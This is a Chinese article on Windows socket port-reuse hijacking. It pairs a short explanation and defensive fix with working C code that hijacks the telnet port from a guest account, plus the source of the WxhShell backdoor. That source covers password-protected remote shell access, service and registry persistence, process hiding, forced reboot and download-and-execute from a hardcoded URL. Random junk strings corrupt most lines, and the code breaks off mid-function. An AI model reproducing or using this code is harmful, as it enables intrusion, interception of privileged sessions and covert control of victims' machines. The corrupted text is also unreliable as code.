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利用VC实现端口复用

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: k`u.:C&  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); \]y /EOT  
KW 78J~u+  
  saddr.sin_family = AF_INET; u4QBD5T"  
s-"oT=  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); (l ]_0-Z  
|[B JZ  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 8uD%  
f(Uo?_as  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ];63QJU  
'n dXM   
  这意味着什么?意味着可以进行如下的攻击: )ld`2) 4  
T_NN.Ol   
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 | ycN)zuE  
H b}(.`  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) T}r}uw`  
7LrWS83  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 i~sW_f+  
7~ =r9-&G  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  sG K7Uy  
WTX!)H6Zv  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 d"U'\ID2y  
r0L' mf$  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 H2oD0f|  
z\zqmW6  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 2[QyH'"^E  
W6Z3UJ-  
  #include %SKJ#b  
  #include og)f?4  
  #include YU6D;  
  #include    9J4gDw4<  
  DWORD WINAPI ClientThread(LPVOID lpParam);   55K(]%t  
  int main() #-{^={p "  
  { /)/>/4O  
  WORD wVersionRequested; &(/QJ`*8  
  DWORD ret; 7S.E,\Tws  
  WSADATA wsaData; sOb=+u$$9  
  BOOL val; m(rd\3d  
  SOCKADDR_IN saddr; &++tp5  
  SOCKADDR_IN scaddr; FL?Ndy"I  
  int err; 2}xvM"k=k  
  SOCKET s; Wa!}$q+  
  SOCKET sc; =OR "Bd:O  
  int caddsize; <S@XK%  
  HANDLE mt; >m'n#=yap  
  DWORD tid;   s.j6" Q[W  
  wVersionRequested = MAKEWORD( 2, 2 ); ywkyxt  
  err = WSAStartup( wVersionRequested, &wsaData ); {O"N2W  
  if ( err != 0 ) { oF {u  
  printf("error!WSAStartup failed!\n"); -(1GmU5v(  
  return -1; g), t  
  } PGNH<E)  
  saddr.sin_family = AF_INET; ay`A Gr  
   .0b4"0~T6  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 R Y ";SfYb  
8;GuJP\  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); B82SAV/O  
  saddr.sin_port = htons(23); j~C-T%kYa  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 9~ r YLR(v  
  { 8L _]_  
  printf("error!socket failed!\n"); GS&iSjw  
  return -1; ,cCBAO ueO  
  } )FSa]1t;x  
  val = TRUE; ['JIMcD  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 c6~<vV'}  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) n1r'Y;G  
  { R!y`p:O C  
  printf("error!setsockopt failed!\n"); I|/\L|vo  
  return -1; j&w4yY  
  } ;!Q}g19C  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; kDWMget$  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 `Ti?hQm/  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 uB>OS 1=  
J[{?Y'RUM  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) c#<p44>U  
  { <&MY/vV  
  ret=GetLastError(); }y&tF'qG  
  printf("error!bind failed!\n"); 4B$|UG  
  return -1; !63]t?QXMG  
  } bW?cb5C  
  listen(s,2); &E0L 2gbI  
  while(1) Q1^kU0M}  
  { v)s; wD  
  caddsize = sizeof(scaddr); Gzkvj:(V  
  //接受连接请求 9`Zwa_Tni  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 9?.  
  if(sc!=INVALID_SOCKET) (Y:?qy  
  { mT&?DZ9<  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 5"mH6%d :8  
  if(mt==NULL) Un^3%=;  
  { qi=v}bp&  
  printf("Thread Creat Failed!\n"); eYD-8*  
  break; 6O| rI>D  
  } wS @-EcCB  
  } Cu`ty] -'  
  CloseHandle(mt); GB8>R  
  } Y@2v/O,\  
  closesocket(s); T))F r:  
  WSACleanup(); 2P2/]-6s#r  
  return 0; "fOxS\er  
  }   1^AG/w  
  DWORD WINAPI ClientThread(LPVOID lpParam) B*&HQW *u  
  { ihBIE  
  SOCKET ss = (SOCKET)lpParam; b/6!>qMMk%  
  SOCKET sc; #iVr @|,  
  unsigned char buf[4096]; vTq [Xe"  
  SOCKADDR_IN saddr;  kAnK1W>  
  long num; 9 `T2  
  DWORD val; qLa6c2o,  
  DWORD ret; Bh5z4  
  //如果是隐藏端口应用的话,可以在此处加一些判断 2f0qfF  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   ]CGH )4Pe  
  saddr.sin_family = AF_INET; < gu>06  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); mJ JF  
  saddr.sin_port = htons(23);  Vl`!6.F3  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) h)pYV>!d  
  { kj/v$m  
  printf("error!socket failed!\n"); |<!xD iB  
  return -1; iCNJ%AZ H  
  } I~) A!vp  
  val = 100; nl+8C}=u  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ,KFF[z  
  { k<QZ_*x}G  
  ret = GetLastError(); f?W"^6Df  
  return -1; .M([n-  
  } *_H^]wNJG  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) v%E~sX&CG  
  { ykD-L^}  
  ret = GetLastError(); ,&iZ*6=X?0  
  return -1; 0P^&{ek+)  
  } n0%5mTUN  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) X1 FKcWv  
  {  4 `]  
  printf("error!socket connect failed!\n"); \ fSo9$  
  closesocket(sc); Rg%Xy`gS  
  closesocket(ss); 3S{3AmKj?  
  return -1; Hh`HMa'q  
  } \W+Hzf] W#  
  while(1) -fT}Nj\  
  { 7_CX6:  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 80"oT'ZFh  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 3='Kii=LA  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 eZMfn$McJv  
  num = recv(ss,buf,4096,0); +O!4~k^  
  if(num>0) 8 Az|SJ<  
  send(sc,buf,num,0); +6Ye'IOG  
  else if(num==0) 9"cyZO  
  break; 35n'sVn  
  num = recv(sc,buf,4096,0); 9O|k|FD  
  if(num>0) ]/{iIS_  
  send(ss,buf,num,0); V@pUU~6R  
  else if(num==0) m_h$fT8 _  
  break; Wiere0 2*  
  } CS\8ej}y  
  closesocket(ss); )*nZ6Cg'  
  closesocket(sc); w-P;E!gTt  
  return 0 ; f[Xsri  
  } :uB(PeAv*  
Nn-EtM0w  
iH>IV0 <  
========================================================== =?[:Nj636  
(CrP6]=  
下边附上一个代码,,WXhSHELL BY>]6SrP  
#Q$e%VJ(c1  
========================================================== L3Ivm :  
vY);7  
#include "stdafx.h" pMV?vH  
*X8Pa ;x  
#include <stdio.h> +c' n,O~3  
#include <string.h> !112u#V  
#include <windows.h>  I|. <  
#include <winsock2.h> Xh@;4n  
#include <winsvc.h> IubzHf  
#include <urlmon.h> z LZ HVvL3  
?$.x%G+  
#pragma comment (lib, "Ws2_32.lib") hp$1c  
#pragma comment (lib, "urlmon.lib") p Cgm!t?/  
DqA$%b yyE  
#define MAX_USER   100 // 最大客户端连接数 FYIz_GTk  
#define BUF_SOCK   200 // sock buffer GC7W7B  
#define KEY_BUFF   255 // 输入 buffer yi*EE%  
{=6CL'_  
#define REBOOT     0   // 重启 Qq3>Xv <  
#define SHUTDOWN   1   // 关机 T$1(6<:+.  
-FQc_k?VF  
#define DEF_PORT   5000 // 监听端口 6f)7*j~  
vQ8$C 3  
#define REG_LEN     16   // 注册表键长度 g1I8_!}~  
#define SVC_LEN     80   // NT服务名长度 ~T!D:2G  
&"d :+!4h  
// 从dll定义API vDCbD#.6  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); uTNy{RBD+  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); KN'twPFq  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); \ 0.!al0  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); j+[oZfH  
|}Mthj9n  
// wxhshell配置信息 T[kS;-x  
struct WSCFG { &"DD&87N%  
  int ws_port;         // 监听端口 {Zo*FZcaX  
  char ws_passstr[REG_LEN]; // 口令 g=jB'h?  
  int ws_autoins;       // 安装标记, 1=yes 0=no '#lc?Y(pJ2  
  char ws_regname[REG_LEN]; // 注册表键名 85BB{ T;  
  char ws_svcname[REG_LEN]; // 服务名 }c=YiH,o  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ??z&w`Yy,  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ]0=THq\H  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 sN ZOm$  
int ws_downexe;       // 下载执行标记, 1=yes 0=no J|C CTXT  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 3{M0iNc1  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 .p%V]Ka  
2]V8-  
}; X0]Se(  
m@"p#pt(_  
// default Wxhshell configuration Kh{_BdN  
struct WSCFG wscfg={DEF_PORT, r=#v@]z B  
    "xuhuanlingzhe", \jr-^n]  
    1, #g~]2x  
    "Wxhshell", zz #IY'dwT  
    "Wxhshell", |8fdhqy_  
            "WxhShell Service", HG^~7oMf  
    "Wrsky Windows CmdShell Service", LBIEG_/m  
    "Please Input Your Password: ", 4iY <7l8  
  1, Rp !Rzl<  
  "http://www.wrsky.com/wxhshell.exe", lL&p?MUp  
  "Wxhshell.exe" <7o@7r'0  
    }; c*",AZ>U  
c=<^pCa9t1  
// 消息定义模块 \6!s";=hQ  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Ict+|<f  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Sg1 ,9[pb  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; m}t`43}QE  
char *msg_ws_ext="\n\rExit."; Q}uh`?t  
char *msg_ws_end="\n\rQuit."; wsgT`M'J[  
char *msg_ws_boot="\n\rReboot..."; -BH T'zq1S  
char *msg_ws_poff="\n\rShutdown..."; KN~Repcz@  
char *msg_ws_down="\n\rSave to "; dTqL[?wH?  
= Q"(9[Az  
char *msg_ws_err="\n\rErr!"; O^IS:\JX&  
char *msg_ws_ok="\n\rOK!"; j.:f =`xf  
P_(< ?0l  
char ExeFile[MAX_PATH]; {6iHUK   
int nUser = 0; TIxlLOs  
HANDLE handles[MAX_USER]; F6" QsFG  
int OsIsNt; gF\ac%9  
:Yn{:%p  
SERVICE_STATUS       serviceStatus; \wV ?QH  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; VM+l9 z>  
G{0f* cH)  
// 函数声明 Ryn@">sVI  
int Install(void); hA+;eXy/  
int Uninstall(void); :@S=0|:j  
int DownloadFile(char *sURL, SOCKET wsh); 02C;  
int Boot(int flag); OT#foP   
void HideProc(void); mV}eMw  
int GetOsVer(void); t![972.&  
int Wxhshell(SOCKET wsl); ]0g1P-&,U  
void TalkWithClient(void *cs); qot {#tk d  
int CmdShell(SOCKET sock); w[J.?v&^  
int StartFromService(void); :AyZe7:(D  
int StartWxhshell(LPSTR lpCmdLine); ?uXY6J"  
Z|j\_VKhl  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); @}{Fw;,(7n  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ._<gc;G  
|`Be(  
// 数据结构和表定义 i8.OM*[f  
SERVICE_TABLE_ENTRY DispatchTable[] = Y{L|ja%9?  
{ 10*^  
{wscfg.ws_svcname, NTServiceMain}, 2G$-:4B  
{NULL, NULL} 9HAK  
}; ~TjTd  
c}w[ T  
// 自我安装 EC?U#!kv  
int Install(void) BXr._y, cr  
{ !={QL:  
  char svExeFile[MAX_PATH]; ]% UAN_T  
  HKEY key; n yNHjn |W  
  strcpy(svExeFile,ExeFile); ~HXZ-*  
;h#CT#R2  
// 如果是win9x系统,修改注册表设为自启动 M \>5",0  
if(!OsIsNt) { M B,Z4 ^  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { dfs1BV'  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Dm`gzGl  
  RegCloseKey(key); i>;6Z s>S  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { C12y_E8Un  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); D66!C{  
  RegCloseKey(key); rm,h\  
  return 0; j4h?"  
    } K\$z,}0  
  } ]v.Yt/&C{  
} /!-ypIY  
else { sE0,b  
O9Yk5b;  
// 如果是NT以上系统,安装为系统服务 ? \NT'CG  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); E9j(%kQ2  
if (schSCManager!=0) eb<' >a  
{ g= s2t"&  
  SC_HANDLE schService = CreateService 6/Z 8/PL  
  ( ,@t#)HV  
  schSCManager, LdyE*u_  
  wscfg.ws_svcname, =[o/D0-Kn  
  wscfg.ws_svcdisp, c1StA  
  SERVICE_ALL_ACCESS, G[!<mh4h|  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , T4}q%%7l  
  SERVICE_AUTO_START, %`:+A?zL  
  SERVICE_ERROR_NORMAL, UbSD?Ew@35  
  svExeFile, IO?6F@(  
  NULL, iD2>-yf  
  NULL, hj[sxC>z5  
  NULL, 6dYUMqQ  
  NULL, @m"P_1`*  
  NULL >{juw&Uu  
  ); J+*n}He,  
  if (schService!=0) 8C2!Wwz`J8  
  { VB{G% !}  
  CloseServiceHandle(schService); 5va ;Ol4  
  CloseServiceHandle(schSCManager); =eG:Scoug?  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); m`/!7wQs  
  strcat(svExeFile,wscfg.ws_svcname); [ ]=}0l<J  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { H$]FUv8  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); sB`zk[ R;  
  RegCloseKey(key); SZD@<3Nb  
  return 0; YR$d\,#R  
    } ">S.~'ds  
  } U6oab9C?k  
  CloseServiceHandle(schSCManager); E)F"!56lV  
} xiQ;lE   
} tNCKL. yU  
,U'E!?=:VS  
return 1; x<{)xP+|  
} %:[Y/K-   
P3V }cGZ  
// 自我卸载 }L|XZL_Jo#  
int Uninstall(void) {NV=k%MTmi  
{ -Tr*G4  
  HKEY key; Q?W}]RW  
j es[a  
if(!OsIsNt) { cGe-|>:  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { JU0|pstf  
  RegDeleteValue(key,wscfg.ws_regname); ^ZO3:"t!w  
  RegCloseKey(key); `Yc>I!iN  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { %R1$M318  
  RegDeleteValue(key,wscfg.ws_regname); -j"2rIl4#  
  RegCloseKey(key); l&v&a!EU  
  return 0; ZNG{:5u,  
  } 6o ]X.plr  
} k%lz%r  
} }4"T# [n#  
else { CT#N9  
~UV$(5&-  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); e5fzV.'5  
if (schSCManager!=0) $9O%,U@  
{ lDhuL;9e  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); }K\m.+%=d  
  if (schService!=0) Iw) 'Yyg  
  { qluaop  
  if(DeleteService(schService)!=0) { f}F   
  CloseServiceHandle(schService); viR-h iD  
  CloseServiceHandle(schSCManager); Po82nKAh  
  return 0; _ ?Z :m  
  } !RwOU Ck  
  CloseServiceHandle(schService); C8.MoFfhe  
  } =qVD"Z]z  
  CloseServiceHandle(schSCManager); Qz/1^xy  
} ' fP`ET5  
} ~eHu +pv  
Se %"C&  
return 1; .m\'|%  
} ^{Y9!R*9U*  
/*5lO;!s{  
// 从指定url下载文件 ar| !iU  
int DownloadFile(char *sURL, SOCKET wsh) "#a,R ^J  
{ DnW*q/=w  
  HRESULT hr; _m|Tr*i8  
char seps[]= "/"; l@ W?qw  
char *token; O* 7` Waag  
char *file; Vy[ m%sEP  
char myURL[MAX_PATH]; |#=4]]>m  
char myFILE[MAX_PATH]; ,BG L|5?3z  
9N]V F'  
strcpy(myURL,sURL); 2DTBL:?`  
  token=strtok(myURL,seps); Y:} !W  
  while(token!=NULL) \@HsMV2+zN  
  { )S6"I  
    file=token; 7cJh^M   
  token=strtok(NULL,seps); w(Hio-l=  
  } 42mZ.,<  
uKocEWB=/F  
GetCurrentDirectory(MAX_PATH,myFILE); gT~Yn~~b  
strcat(myFILE, "\\"); ;nB.f.e`  
strcat(myFILE, file); 1Qz1 Ehz>  
  send(wsh,myFILE,strlen(myFILE),0); CERT`W%o  
send(wsh,"...",3,0); ;v^1V+1:z  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); !q_fcd^c  
  if(hr==S_OK) CA{(x(W\:  
return 0; COf>H0^%Q  
else .IJgkP)!]  
return 1; ESAFsJ$r;  
s5'So@L8  
} 6:vdo~  
Xm! ;  
// 系统电源模块 WMLsKoby  
int Boot(int flag) i5 F9*  
{ R87e"m/C%  
  HANDLE hToken; B> LL *  
  TOKEN_PRIVILEGES tkp;  9> k-";  
fer~NlX  
  if(OsIsNt) { o7W1sD1O  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); \6U$kMGde  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 1v^eXvY  
    tkp.PrivilegeCount = 1; # U j~F  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 7xmif YC  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); #c:b8rw  
if(flag==REBOOT) { uY6|LTK&x  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) APA:K9jD  
  return 0; ;<=B I!  
} ~'9>jpnw  
else { Ev7fvz =  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) .j)f'<;%  
  return 0; b:w {7  
} *U=%W4?W  
  } D,H v(6({  
  else { 8Ekk"h 6  
if(flag==REBOOT) { 3'zm)SXJ  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 9AsK=/Buf  
  return 0; :"oQ _bLT  
} xi =\]  
else { F};G&  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) =,-&h V  
  return 0; ]wQ#8}zO  
} aA-gl9  
} Uj[E_4h  
|Vs?yW  
return 1; igD,|YSK`z  
} n rpxZA  
 \tWFz(  
// win9x进程隐藏模块 |#. J  
void HideProc(void) D!oELZ3  
{ +w]KK6  
GDW$R`2  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); DVWqrK}q  
  if ( hKernel != NULL ) *l[;g  
  { DJmT]Q]o)  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 0cwb^ffN  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); =R  <X!@  
    FreeLibrary(hKernel); c= }#8d.  
  } LZB=vc|3/  
O*ql!9}E{  
return; x(Us O}  
} C;6Nu W  
fQ,L~:Y =  
// 获取操作系统版本 rIt#ps  
int GetOsVer(void) :6*FnKD  
{ *)jhhw=34  
  OSVERSIONINFO winfo; /b)V=mcR  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); c9eLNVM  
  GetVersionEx(&winfo); kq SpZoV0'  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Nn_n@K  
  return 1; 4{s3S2f =  
  else D# "ppa}  
  return 0; Z7X_U` Q  
} wewYlm5@  
.cV<(J 5o  
// 客户端句柄模块 gJ8+HV  
int Wxhshell(SOCKET wsl) fgW>U*.ar  
{ vThK@P!s  
  SOCKET wsh; v{Rj,Ou  
  struct sockaddr_in client; o"Dk`L2  
  DWORD myID; 2)A% 'Akf  
xSQ:#o=8G  
  while(nUser<MAX_USER) i'$V'x'k  
{ {v,O  
  int nSize=sizeof(client); ue5C ]  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); E26zw9d  
  if(wsh==INVALID_SOCKET) return 1; Sl8A=Ez  
P)2.Gx/  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); NRM=0-16u$  
if(handles[nUser]==0) VoOh$&"M  
  closesocket(wsh); a&Stdh  
else KL8G2"Z  
  nUser++; 2k}" 52  
  } Wy[Ua#Dd  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); )e$}sw{t  
|(Bc0sgw}  
  return 0; 3Vu_-.ID  
} JYt)4mOo  
Vg 6/1I  
// 关闭 socket K|q5s]4I  
void CloseIt(SOCKET wsh) INd:_cT4l  
{ i58&o@.H<u  
closesocket(wsh); VuOZZ7y  
nUser--; CBqeO@M  
ExitThread(0); ^*{:;F@  
} 1gA9h-'w  
Qd %U(|  
// 客户端请求句柄 V6:S<A  
void TalkWithClient(void *cs) ,-11w7y\  
{ Y-Zw'  
L*Gk1'  
  SOCKET wsh=(SOCKET)cs; <}@*i  
  char pwd[SVC_LEN]; XA&Vtgu  
  char cmd[KEY_BUFF]; oV)#s!  
char chr[1]; DHUK_#!  
int i,j; , : I:F  
vqC!Ajm  
  while (nUser < MAX_USER) { U.fL uKt  
5 (Lw-_y#  
if(wscfg.ws_passstr) { _</>`P[  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); *kmD/J  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); m~[4eH,  
  //ZeroMemory(pwd,KEY_BUFF); i;u#<y{E  
      i=0; *Vbf ;=Mb  
  while(i<SVC_LEN) { VO (KQx  
rjFIK`_w  
  // 设置超时 S~~G0GiW  
  fd_set FdRead; "~1{|lj|)  
  struct timeval TimeOut; Y ,Iv<Hg  
  FD_ZERO(&FdRead); \F$Vm'f_  
  FD_SET(wsh,&FdRead); 4O TuX!  
  TimeOut.tv_sec=8; r~K5jL%z9  
  TimeOut.tv_usec=0; ZU=om Rh5  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); xppl6v(  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 9; \a|8O  
@>r3=s.Q  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); gQ < >S  
  pwd=chr[0]; * LaL('.>  
  if(chr[0]==0xd || chr[0]==0xa) { g[D(]t\#x  
  pwd=0; ;;^OKrzWW  
  break; >TB"Ez09  
  } G`/5=  
  i++; kB2]Z}   
    } P}2i[m.*,  
3 #8bG(  
  // 如果是非法用户,关闭 socket f: j9ze  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); N;YAG#'9~_  
} XF6ed  
*%3%Zj,{  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 'ie+/O@G  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); qZV.~F+  
0^0Q0A  
while(1) { U#qs^f7R  
!Ojf9 6is  
  ZeroMemory(cmd,KEY_BUFF); (bX77 Xr  
]O^C'GzZ  
      // 自动支持客户端 telnet标准   L[D<e?j  
  j=0; wWI1%#__|o  
  while(j<KEY_BUFF) { kH.W17D~  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Vr<eU>W  
  cmd[j]=chr[0]; !kTI@103Wd  
  if(chr[0]==0xa || chr[0]==0xd) { )K.'sX{B  
  cmd[j]=0; 8]`LRzM  
  break; ?2q;`Nb  
  } PnUYL.v  
  j++; }akF=/M  
    } aqw;T\GI+~  
 )S8fFV  
  // 下载文件 l_ES $%d  
  if(strstr(cmd,"http://")) { 1ti9FQ  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); e5GJ:2sH  
  if(DownloadFile(cmd,wsh)) <o aVI?  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Vx~N`|yY  
  else # :)yh]MP  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); pX/42W  
  } RBA{!  
  else {  CJ~gE"  
URo#0fV4C  
    switch(cmd[0]) { Xi:y35q  
  ,rU>)X  
  // 帮助 ;X z fd  
  case '?': { U2DE zr  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ,S%DHT  
    break; vNA~EV02  
  }  EOn[!  
  // 安装 Pf,lZU?f  
  case 'i': { ]\.3<^  
    if(Install()) OgOs9=cE{  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); k-;A9!^h  
    else f]*TIYicc  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); eyIbjgpV  
    break; KE_GC ;bQ  
    } -Wt (t2  
  // 卸载 ?xT ^9  
  case 'r': { sN8)p%'Lg  
    if(Uninstall()) >T)#KQ1t  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ol7^T  
    else TwT@_~ IM  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); <y!(X"n`  
    break; jgyXb5GY  
    } skeXsls  
  // 显示 wxhshell 所在路径 H!81Pq~  
  case 'p': { V49[XX  
    char svExeFile[MAX_PATH]; c+bOp 05o-  
    strcpy(svExeFile,"\n\r"); 6a%dq"5 +  
      strcat(svExeFile,ExeFile); FRR`<do5$,  
        send(wsh,svExeFile,strlen(svExeFile),0); { ML)F]]  
    break; }u `~lw(Z  
    } fJdTVs@  
  // 重启 ^h5h kIx0  
  case 'b': { 'ZXd |WI  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); *;0Ods+IcY  
    if(Boot(REBOOT)) ,QZNH?Cp/  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); xV+cX*4h  
    else { q Q/<\6Sl  
    closesocket(wsh); *@-a{T}  
    ExitThread(0); 1oSU>I_i  
    } VS\+"TPuH  
    break; l.Yq4qW  
    } z"PU`v  
  // 关机 d"#& VlKcv  
  case 'd': { gc"A Tc  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ebTwU]Nb  
